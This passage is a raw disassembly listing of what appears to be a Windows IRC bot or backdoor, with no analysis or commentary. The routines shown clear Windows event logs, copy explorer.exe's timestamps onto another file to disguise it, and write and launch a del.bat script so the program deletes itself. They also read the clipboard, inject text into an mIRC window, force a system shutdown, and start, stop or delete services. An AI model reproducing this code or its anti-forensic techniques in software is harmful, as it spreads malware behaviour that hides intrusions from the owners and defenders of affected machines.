		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: sub_41528D+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A


loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx


loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA


loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------


loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------


loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_42708C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_427158	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194


loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194


loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DADEC
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CB604	; OpenClipboard
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CB624	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		call	dword_427160	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_42715C	; GlobalUnlock
		call	dword_4CB688	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB640	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_42716C	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_427168	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB690	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB690	; SendMessageA
		push	ebx
		call	dword_427164	; UnmapViewOfFile
		push	edi
		call	dword_427068	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax


loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: sub_401221+212p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB6F0	; SearchPathA
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_427174	; GetFileTime
		push	ebx
		mov	ebx, dword_427068
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_427170	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB574	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; sub_4163F9+472p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB704, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx


loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4270B0	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_4270EC	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_4270E0	; WriteFile
		push	edi
		call	dword_427068	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43D7E8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_42709C	; GetModuleHandleA
		push	eax
		call	dword_427070	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_427098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_427094	; SetFileAttributesA


loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_427178	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_42706C	; CreateProcessA


loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4270C8	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB5B4	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4CB5C4	; ClearEventLogA
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_439048


loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------


loc_418569:				; CODE XREF: sub_4184E1+57j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_439020
		jmp	short loc_418542
; ---------------------------------------------------------------------------


loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_438FF0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4270C8	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA


loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_4270B8	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	dword_4270BC	; GetProcAddress
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	dword_427138	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; sub_40E6D8+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439070[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_43906C[esi]
		push	offset unk_439180


loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DB6B0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_439154
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------


loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB6B0
		push	off_439068[eax*4]
		push	offset unk_439130
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB628	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		call	dword_42708C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------


loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB510	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		call	dword_42708C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------


loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB57C	; ControlService
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB518	; StartServiceA
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CB580	; DeleteService


loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		call	dword_42708C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CB52C	; CloseServiceHandle


loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CB52C	; CloseServiceHandle
		pop	esi


loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump


loc_4188B6:				; DATA XREF: .packed:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: .packed:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: .packed:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: .packed:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: .packed:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: .packed:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: .packed:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: .packed:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: .packed:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DAFF0
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------


loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DAFF0
		call	sub_41B886
		add	esp, 0Ch


loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DAFF0
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB628	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB5F4	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_4189CD
		call	dword_42708C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_418A81


loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]


loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


